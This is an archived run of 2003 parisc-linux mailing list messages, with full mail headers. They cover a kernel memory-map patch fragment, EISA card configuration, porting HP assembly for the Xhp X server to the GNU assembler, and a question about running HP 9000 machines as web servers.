+	mm->free_area_cache =3D TASK_FREE_AREA_CACHE;
 	mm->map_count =3D 0;
 	mm->rss =3D 0;
 	mm->cpu_vm_mask =3D 0;
@@ -376,7 +376,7 @@
 	mm->page_table_lock =3D SPIN_LOCK_UNLOCKED;
 	mm->ioctx_list_lock =3D RW_LOCK_UNLOCKED;
 	mm->default_kioctx =3D (struct kioctx)INIT_KIOCTX(mm->default_kioctx, *mm=
);
-	mm->free_area_cache =3D TASK_UNMAPPED_BASE;
+	mm->free_area_cache =3D TASK_FREE_AREA_CACHE;
=20
 	if (likely(!mm_alloc_pgd(mm))) {
 		mm->def_flags =3D 0;

--=-Rs/BluSNFJbI4v6u+UK/--



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] eisa configuration howto?
Date: Sat, 12 Jul 2003 11:54:30 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030712175430.GA27933@dsl2.external.hp.com>
References: <3F102709.10403@sporbeck-family.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622589 27846 80.91.229.3 (22 Nov 2014 02:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan Sporbeck <jan_lists@sporbeck-family.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 11:54:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 628AF482A; Sat, 12 Jul 2003 11:54:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F102709.10403@sporbeck-family.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18910

On Sat, Jul 12, 2003 at 05:19:37PM +0200, Jan Sporbeck wrote:
> But i am stuck with the eisa configuration.
> Where do I register eisa cards?

Because of a lack of documentation on the eisacfg tool that knows
how to poke NVRAM, this hasn't been done yet.

> -Ive only done that on intel before, there was an userspace programm..

Yes. Maybe use HPUX + eisacfg to setup the eisa cards?

grant


From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Sporbeck <jan_lists@sporbeck-family.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] eisa configuration howto?
Date: Sat, 12 Jul 2003 22:19:39 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F106D5B.9070108@sporbeck-family.de>
References: <3F102709.10403@sporbeck-family.de> <20030712175430.GA27933@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622590 27848 80.91.229.3 (22 Nov 2014 02:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 14:18:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.sporbeck-family.de (pD9E1DC06.dip.t-dialin.net [217.225.220.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0899482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 14:18:05 -0600 (MDT)
Original-Received: from [192.168.100.101] (helo=sporbeck-family.de)
	by mailhost.sporbeck-family.de with esmtp (Exim 4.14)
	id 19bQqm-0000k4-JB
	for parisc-linux@lists.parisc-linux.org; Sat, 12 Jul 2003 22:20:08 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: en-us, en
X-Spam-Score: -2.1 (--)
X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19bQqm-0000k4-JB*dzk4Kvns72E*
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18911

..

Grant Grundler wrote:
> On Sat, Jul 12, 2003 at 05:19:37PM +0200, Jan Sporbeck wrote:
>
>>But i am stuck with the eisa configuration.
>>Where do I register eisa cards?
> 
> Because of a lack of documentation on the eisacfg tool that knows
> how to poke NVRAM, this hasn't been done yet.
> 
>>-Ive only done that on intel before, there was an userspace programm..
> 
> Yes. Maybe use HPUX + eisacfg to setup the eisa cards?


did I get this right: I have to use the HPUX eisacfg tool to setup the 
card?!
-there is no linux tool?
thats quite sad, as I donT have any HPUX anymore..


thanks anyway,
/jan.



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree-server and Xhp ?
Date: Sun, 13 Jul 2003 15:28:37 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <3F117AA5.6090402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622590 27852 80.91.229.3 (22 Nov 2014 02:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 13 09:12:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4CBE4830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jul 2003 09:12:57 -0600 (MDT)
Original-Received: from [62.235.174.164] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19biX2-0003AN-00; Sun, 13 Jul 2003 17:12:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030704 Debian/1.4-1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18912

Hi all,

I just discover some days ago (when trying to rebuild 4.3) that in XFree-4.2 still exists (not anymore
in 4.3?) the sources of a Xhp server supporting the builtin gfx of my testing b180 (into build-tree/xc/programs/Xserver/hw/hp/).

Juliusz Chroboczek <jch@pps.jussieu.fr <mailto:jch@pps.jussieu.fr>> kindly explain me:
> Please note that Xhp is not supported by XFree86, and most probably
> doesn't build.
> 
> Try adding a file xc/config/cf/host.def with the following line:
>
>  #define XhpServer YES
>
> Then make World as usual.

It doesn't build :-(

But I also found some additional patch which HP supplied for suport of X11R6.3 into mklinux project.
It would be helpful as this patch supplied (among other things) the asm src of an object supplying requested ngleDepth8_CopyAreaFromToScreen() and ngleDepth24_CopyAreaFromToScreen() functions.
Into mklinux sources I also find back <machine/asm.h> it would be easy with the help of kernel documentation to 'reverse' it for parisc linux (seems to be trivial).
My only pb is that src seems to be writen for 'som' env:
>#include <machine/asm.h>
>
>       .space  $TEXT$
>       .subspa $CODE$
>
>       .import ngleScreenPrivIndex,data
>
>       .export ngleDepth8_CopyAreaFromToScreen
>       .proc
>       .callinfo
>
>ngleDepth8_CopyAreaFromToScreen
>       ldo 0x40(sp),sp
>       stw arg0,-0x64(sp)
>       stw arg1,-0x68(sp)
>       stw arg2,-0x6c(sp)
>       stw arg3,-0x70(sp)
>       ldw -0x68(sp),r1
[...]
>       stw t3,0xb00(t4)
>       bv r0(rp)
>       ldo -0x40(sp),sp
>
>       .procend
>
[...]+
>       .end

(arg[0..3], r[0..], t[1..4] beeing labels defined <machine/asm.h>)

Does it exist some doc or tips to do this kind of obj translation 'som' -> 'elf'?

Thanks in advance for advises,
	Joel






From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree-server and Xhp ?
Date: Sun, 13 Jul 2003 09:20:54 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20030713162054.GF20673@tausq.org>
References: <3F117AA5.6090402@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622590 27853 80.91.229.3 (22 Nov 2014 02:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Helge Deller <deller@gmx.de>
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 13 10:17:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 760EA4830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jul 2003 10:17:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 14324CD2F8; Sun, 13 Jul 2003 09:20:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F117AA5.6090402@tiscali.be>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18913

> Into mklinux sources I also find back <machine/asm.h> it would be easy with 
> the help of kernel documentation to 'reverse' it for parisc linux (seems to 
> be trivial).

> Does it exist some doc or tips to do this kind of obj translation 'som' -> 
> 'elf'?

well, not that i know of, but it should work almost as is. most of these
are actually differences between the HP assembler and the GNU assembler,
rather than differences between SOM and ELF.

> >      .space  $TEXT$
> >      .subspa $CODE$

change to ".text"

> >
> >      .import ngleScreenPrivIndex,data
> >
> >      .export ngleDepth8_CopyAreaFromToScreen
> >      .proc
> >      .callinfo
> >
> >ngleDepth8_CopyAreaFromToScreen
add colon (:) at end

> >      ldo 0x40(sp),sp
> >      stw arg0,-0x64(sp)
> >      stw arg1,-0x68(sp)
> >      stw arg2,-0x6c(sp)
> >      stw arg3,-0x70(sp)
> >      ldw -0x68(sp),r1
> [...]
> (arg[0..3], r[0..], t[1..4] beeing labels defined <machine/asm.h>)

shouldn't need the labels, the assembler recognizes these. but you need
to put % in front of all the register names in order for the GNU
assembler to accept the input. (ldo 0x40(%sp),%sp, etc)

HTH,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree-server and Xhp ?
Date: Mon, 14 Jul 2003 07:39:41 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <3F0BEA8300000F7B@ocpmta1.freegates.net>
References: <20030713162054.GF20673@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622591 27856 80.91.229.3 (22 Nov 2014 02:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	"Helge Deller" <deller@gmx.de>
To: "Randolph Chung" <randolph@tausq.org>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 13 23:39:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32E3B482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jul 2003 23:39:49 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19bw1Z-0000AE-00; Mon, 14 Jul 2003 07:37:21 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 14 Jul 2003 07:39:41 +0200
In-Reply-To: <20030713162054.GF20673@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18914

>well, not that i know of, but it should work almost as is. most of these
>are actually differences between the HP assembler and the GNU assembler,
>rather than differences between SOM and ELF.
>
>> >      .space  $TEXT$
>> >      .subsp
>> $CODE$
>
>change to ".text"
>
That was my main question, nice :)

>> >
>> >ngleDepth8_CopyAreaFromToScreen
>add colon (:) at end
Ok

> >      ldo 0x40(sp),sp
^^^^^^^^^^^^^^^^^^^^^^^^^^That was I suspected to be 'som' specific

> >      stw arg0,-0x64(sp)
> >      stw arg1,-0x68(sp)
> >      stw arg2,-0x6c(sp)
> >      stw arg3,-0x70(sp)
> >      ldw -0x68(sp),r1
> [...]
> (arg[0..3], r[0..], t[1..4] beeing labels defined <machine/asm.h>)

>shouldn't need the labels, the assembler recognizes these. but you need
>to put % in front of all the register names in order for the GNU
>assembler to accept the input. (ldo 0x40(%sp),%sp, etc)

HTH,

A lot you just answers to all my questions,

Thanks a lot,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree-server and Xhp ?
Date: Sun, 13 Jul 2003 22:44:58 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20030714054458.GC30257@tausq.org>
References: <20030713162054.GF20673@tausq.org> <3F0BEA8300000F7B@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622591 27859 80.91.229.3 (22 Nov 2014 02:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:31 +0000 (UTC)
Cc: Joel Soete <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org, Helge Deller <deller@gmx.de>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 13 23:41:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03F89482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jul 2003 23:41:01 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 035F4CD2F8; Sun, 13 Jul 2003 22:44:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F0BEA8300000F7B@ocpmta1.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18915

> > >      ldo 0x40(sp),sp
> ^^^^^^^^^^^^^^^^^^^^^^^^^^That was I suspected to be 'som' specific

that means a 64-byte stack.. should be fine on palinux as well.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree-server and Xhp ?
Date: Mon, 14 Jul 2003 08:04:39 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F0BEA8300000F84@ocpmta1.freegates.net>
References: <20030714054458.GC30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622591 27862 80.91.229.3 (22 Nov 2014 02:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:31 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org, "Helge Deller" <deller@gmx.de>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 00:04:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCCD9482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 00:04:41 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19bwPi-0002tC-00; Mon, 14 Jul 2003 08:02:18 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 14 Jul 2003 08:04:39 +0200
In-Reply-To: <20030714054458.GC30257@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18916

>> > >      ldo 0x40(sp),sp
> ^^^^^^^^^^^^^^^^^^^^^^^^^^That was I suspected to be 'som' specific
>
>that means a 64-byte stack.. should be fine on palinux as well.

Ok I will so try like this (after % and other stuff translation) :-)

Thanks again,
    Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Atul kirane <atul.kirane@ismt.co.in>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 series D220(803) and D250(817) Machines
Date: Mon, 14 Jul 2003 11:53:20 +0530
Lines: 13
Approved: news@gmane.org
Message-ID: <5.2.1.1.0.20030714115056.00ab1350@192.168.1.70>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416622592 27865 80.91.229.3 (22 Nov 2014 02:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 00:23:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ismt.co.in (unknown [61.11.17.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93718482D
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 00:23:20 -0600 (MDT)
Original-Received: from pc4.ismt.co.in ([192.168.1.103])
	by ismt.co.in (8.11.6/8.9.3) with ESMTP id h6E6K0V04846
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 11:50:00 +0530
X-Sender: atul.kirane@192.168.1.70 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.2.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18917

Hello,
I have two HP 9000 machines D220 and D250 with PA-Risc technology . i want 
to configure linux
os on it to run it as web server .
How do i go about it ?

Any help would be highly appreciated .

Regards
Atul




From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 series D220(803) and D250(817) Machines
Date: Mon, 14 Jul 2003 01:41:36 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030714074136.GA10824@dsl2.external.hp.com>
References: <5.2.1.1.0.20030714115056.00ab1350@192.168.1.70>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622592 27867 80.91.229.3 (22 Nov 2014 02:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Atul kirane <atul.kirane@ismt.co.in>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 01:41:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7B1BF482D; Mon, 14 Jul 2003 01:41:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5.2.1.1.0.20030714115056.00ab1350@192.168.1.70>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
